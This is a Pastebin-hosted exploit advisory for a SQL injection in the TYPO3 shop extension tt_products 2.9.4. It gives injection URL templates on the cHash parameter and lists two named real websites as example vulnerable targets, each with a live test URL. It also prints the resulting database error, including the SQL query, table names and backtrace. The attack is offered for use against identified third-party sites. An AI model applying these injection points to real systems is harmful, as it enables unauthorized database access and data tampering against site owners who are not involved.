KingSkrupellos

Typo3 CMS Shop System tt_products 2.9.4 SQL Injection

Feb 18th, 2019
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.67 KB | None | 0 0
  1. ##############################################################################################
  2.  
  3. # Exploit Title : Typo3 CMS Shop System tt_products 2.9.4 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 18/02/2019
  7. # Vendor Homepage : ttproducts.de ~ jambage.com ~ typo3.org
  8. # Software Download Links :
  9. extensions.typo3.org/extension/download/tt_products/2.9.4/zip/
  10. extensions.typo3.org/extension/download/tt_products/2.6.9/zip/
  11. # Software Information Link : extensions.typo3.org/extension/tt_products/
  12. # Software Affected Versions : From 2.6.9 to 2.9.4 / All Versions
  13. # Tested On : Windows and Linux
  14. # Category : WebApps
  15. # Exploit Risk : Medium
  16. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  17. Special Elements used in an SQL Command ('SQL Injection') ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ##############################################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. New versions at ttproducts.de. Documented in E-Book "Der TYPO3-Webshop" -
  27.  
  28. Shop with listing in multiple languages, with order tracking, photo gallery, DAM,
  29.  
  30. product variants, credit card payment and bank accounts, bill, creditpoint,
  31.  
  32. voucher system and gift certificates. Latest updates at ttproducts.de.
  33.  
  34. ##############################################################################################
  35.  
  36. # Impact :
  37. ***********
  38. Typo3 Shop System tt_products 2.9.4 [ and other versions ]
  39.  
  40. extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize
  41.  
  42. user-supplied data before using it in an SQL query.
  43.  
  44. Exploiting this issue could allow an attacker to compromise the application,
  45.  
  46. access or modify data, or exploit latent vulnerabilities in the underlying database.
  47.  
  48. A remote attacker can send a specially crafted request to the vulnerable application
  49.  
  50. and execute arbitrary SQL commands in application`s database.
  51.  
  52. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  53.  
  54. An attacker can exploit this issue using a browser.
  55.  
  56. ##############################################################################################
  57.  
  58. # SQL Injection Exploit :
  59. **********************
  60.  
  61. /index.php?id=[ID-NUMBER]&L=[ID-NUMBER]&tt_products%5BbackPID%5D=[ID-NUMBER]&tt_products%5Bproduct%5D=[ID-NUMBER]&cHash=[SQL Injection]
  62.  
  63. /shop.html?tt_products%5Barea%5D=energi&tt_products%5Bbegin_at%5D=[ID-NUMBER]&cHash=[SQL Injection]
  64.  
  65. ##############################################################################################
  66.  
  67. # Example Vulnerable Sites :
  68. *************************
  69.  
  70. [+] globalis.ag/index.php?id=1227&L=1&tt_products%5BbackPID%5D=120&tt_products%5Bproduct%5D=672&cHash=1%27
  71.  
  72. [+] tuv-akademie.at/shop.html?tt_products%5Barea%5D=energi&tt_products%5Bbegin_at%5D=50&cHash=1%27
  73.  
  74. ##############################################################################################
  75.  
  76. # Example SQL Database Error :
  77. ****************************
  78.  
  79. exec_SELECTquery
  80. ---------------------------
  81.  
  82. caller
  83. *******
  84.  
  85. TYPO3\CMS\Core\Database\DatabaseConnection::exec_SELECTquery
  86.  
  87. ERROR
  88. *********
  89.  
  90. Unknown column 'textslang.t3ver_label' in 'field list'
  91.  
  92. lastBuiltQuery
  93. ************
  94. SELECT texts.uid uid,textslang.pid pid,textslang.tstamp tstamp,
  95. textslang.crdate crdate,textslang.deleted deleted,textslang.t3ver_label t3ver_label,
  96. textslang.sorting sorting,textslang.hidden hidden,textslang.starttime starttime,textslang
  97. .endtime endtime,textslang.fe_group fe_group,textslang.title title,texts.marker marker,
  98. textslang.note note,texts.parentid parentid,texts.parenttable parenttable,textslang.
  99. sys_language_uid sys_language_uid,textslang.text_uid text_uid FROM tt_products_
  100. texts texts,tt_products_texts_language textslang WHERE texts.uid = textslang.text_
  101. uid AND 1=1 AND(texts.parentid = 672 AND texts.parenttable='tt_products' AND
  102. texts.marker IN('ZUSATZ'))AND textslang.deleted=0 AND textslang.hidden=0
  103. AND(textslang.starttime<=1550505837)AND(textslang.endtime=0 OR textslang.
  104. endtime>1550505837)AND textslang.fe_group IN(' ',0,-1)
  105. AND textslang.sys_language_uid=1
  106.  
  107. SELECT uid_local FROM tt_products_tx_onextttproductsarea_coursecat_mm WHERE uid_foreign = energi
  108.  
  109. debug_backtrace
  110. ***************
  111.  
  112. require(typo3/sysext/cms/tslib/index_ts.php),index.php#28
  113. // TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController->INTincScript#232
  114. // TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController->
  115. recursivelyReplaceIntPlaceholdersInContent#3646 // TYPO3\CMS\Frontend
  116. \Controller\TypoScriptFrontendController->INTincScript_process#3679
  117. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->USER#3731
  118. // TYPO3\CMS\Frontend\ContentObject\UserContentObject->render#862
  119. // TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer->callUserFunction#41
  120. // call_user_func_array#6663 // tx_ttproducts_pi1_base->main#
  121. // tx_ttproducts_main->run#72 // tx_ttproducts_main->products_display#588
  122. // tx_ttproducts_single_view->printView#1053 // tx_ttproducts_text->getChildUidArray#328
  123. // tx_ttproducts_table_base->get#118 // tx_table_db->exec_SELECTquery#185
  124. // TYPO3\CMS\Core\Database\DatabaseConnection->exec_SELECTquery#1471
  125. // TYPO3\CMS\Core\Database\DatabaseConnection->debug#305
  126.  
  127. ##############################################################################################
  128.  
  129. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  130.  
  131. ##############################################################################################
Add Comment
Please, Sign In to add comment